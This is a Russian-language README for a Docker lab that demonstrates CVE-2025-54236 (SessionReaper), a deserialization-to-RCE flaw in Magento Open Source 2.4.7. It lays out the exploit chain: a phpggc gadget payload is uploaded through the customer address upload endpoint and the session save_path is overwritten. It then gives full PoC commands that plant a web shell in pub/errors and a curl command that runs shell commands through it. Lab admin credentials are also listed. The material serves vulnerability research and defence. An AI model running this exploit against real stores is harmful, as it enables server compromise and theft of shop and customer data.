
Среда Docker для практической демонстрации CVE-2025-54236 (SessionReaper): PHP Object Deserialization, приводящая к RCE в Magento Open Source 2.4.7
Среда Docker для практической демонстрации CVE-2025-54236 (SessionReaper): десериализация объектов PHP, приводящая к RCE в Magento Open Source 2.4.7.
Использовать только в контролируемой среде. Не запускать против систем без явного разрешения.
CVE-2025-54236 затрагивает Magento Open Source и Adobe Commerce до версии 2.4.7. Метод ServiceInputProcessor::getConstructorData() принимает вложенные параметры через JSON, которые позволяют перезаписать session.save_path — папку, где PHP хранит файлы сессий.
Цепочка эксплуатации:
Guzzle/FW1 через phpggc) отправляется через /customer/address_file/upload, который сохраняет его в pub/media/customer_address/s/e/sess_<id>.{"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}} в качестве параметра конструктора.session_start() с поддельным PHPSESSID, десериализует цепочку гаджетов и записывает веб-шелл в pub/errors/.Предварительное условие: сессии PHP, настроенные как file-based (не Redis/Memcached).
magento/
├── lab-magento/ # Docker lab (уязвимый Magento 2.4.7)
│ ├── Dockerfile # PHP 8.2-FPM с расширениями Magento
│ ├── docker-compose.yml # Стек: PHP-FPM, Nginx, MySQL 8, ES 7, Redis
│ ├── .env # Настройки окружения
│ ├── conf/
│ │ ├── nginx/ # VirtualHost nginx
│ │ └── php/magento.ini # Сессии на основе файлов, memory_limit=2G
│ └── scripts/
│ ├── 01-install.sh # Полная установка с нуля
│ └── 02-demo-setup.sh # Подготовка продукта, полезной нагрузки и вывод инструкций
├── SessionReaper-CVE-2025-54236/
│ └── session_reaper.py # Основной PoC (автор: alexb616)
└── payloads/
├── shell.php # Веб-шелл с одинарными кавычками (избегает экранирования JSON)
└── sess_payload.bin # Сериализованная цепочка гаджетов (сгенерирована скриптом)
docker compose)ambionics/phpggcsession_reaper.py ищет бинарник в: PATH системы, ~/phpggc/phpggc, /opt/phpggc/phpggc и, как запасной вариант, автоматически использует Docker-образ ambionics/phpggcrequests (pip install requests)sudo sysctl -w vm.max_map_count=262144 для Elasticsearch)cd lab-magento
# 1. Установка Magento 2.4.7 с нуля (~25 минут)
bash scripts/install.sh
install.sh выполняет:
composer install --no-devsetup:install с сессиями file-baseddefault (не developer — предотвращает превращение PHP-предупреждений 8.2 в исключения)setup:static-content:deploywww-data на всех этапахПосле установки из корневого каталога (/magento/):
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method order \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
Проверить RCE:
curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
# Ожидаемый вывод: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Альтернативный метод (вектор address, с реальным продуктом):
python3 SessionReaper-CVE-2025-54236/session_reaper.py \
--host http://localhost:8080 \
--method address \
--sku DEMO-001 \
--payload-in lab-magento/payloads/shell.php \
--payload-out /var/www/html/pub/errors/cve_lab.php \
--save-path /var/www/html/pub/media/customer_address/s/e/ \
--no-proxy
URI админки генерируется случайным образом при установке. Чтобы её найти:
docker exec lab_magento_php bash -c "cd /var/www/html && php bin/magento info:adminuri"
# Сессии, созданные эксплойтом
docker exec lab_magento_php ls -la /var/www/html/var/session/
# Вредоносный файл сессии в media/
docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f
# Логи в реальном времени
docker logs lab_magento_nginx -f
docker logs lab_magento_php -f
# Удалить веб-шелл
docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php
# Остановить контейнеры
docker compose -f lab-magento/docker-compose.yml down
# Уничтожить всё (контейнеры + тома)
docker compose -f lab-magento/docker-compose.yml down -v
Почему одинарные кавычки в веб-шеллле?
phpggc Guzzle/FW1 сериализует полезную нагрузку как JSON: [{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]. Содержимое PHP кодируется в JSON, поэтому " превращается в \". Использование $_GET["cmd"] привело бы к $_GET[\"cmd\"] — ошибке разбора PHP. Решение — написать веб-шелл с одинарными кавычками: $_GET['cmd'].
Почему режим default, а не developer?
Magento в режиме developer преобразует все PHP-предупреждения в исключения. PHP 8.2 выдаёт Warning: Trying to access array offset on null в lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114, что превращается в исключение 500 в админке. В режиме default предупреждение игнорируется.
Почему файлы находятся в s/e/?
Magento организует загрузки адресов в pub/media/customer_address/{1-й символ}/{2-й символ}/filename. Для файлов sess_* первый символ — s, второй — e, что всегда приводит к pub/media/customer_address/s/e/.
| Сервис | URL / Хост | Учётные данные |
|---|
| Магазин Magento | http://localhost:8080/ | - |
| Админка Magento | http://localhost:8080/admin/ | admin / Admin123! |
| MySQL | localhost:3306 | magento / magento |
| Elasticsearch | localhost:9200 | - |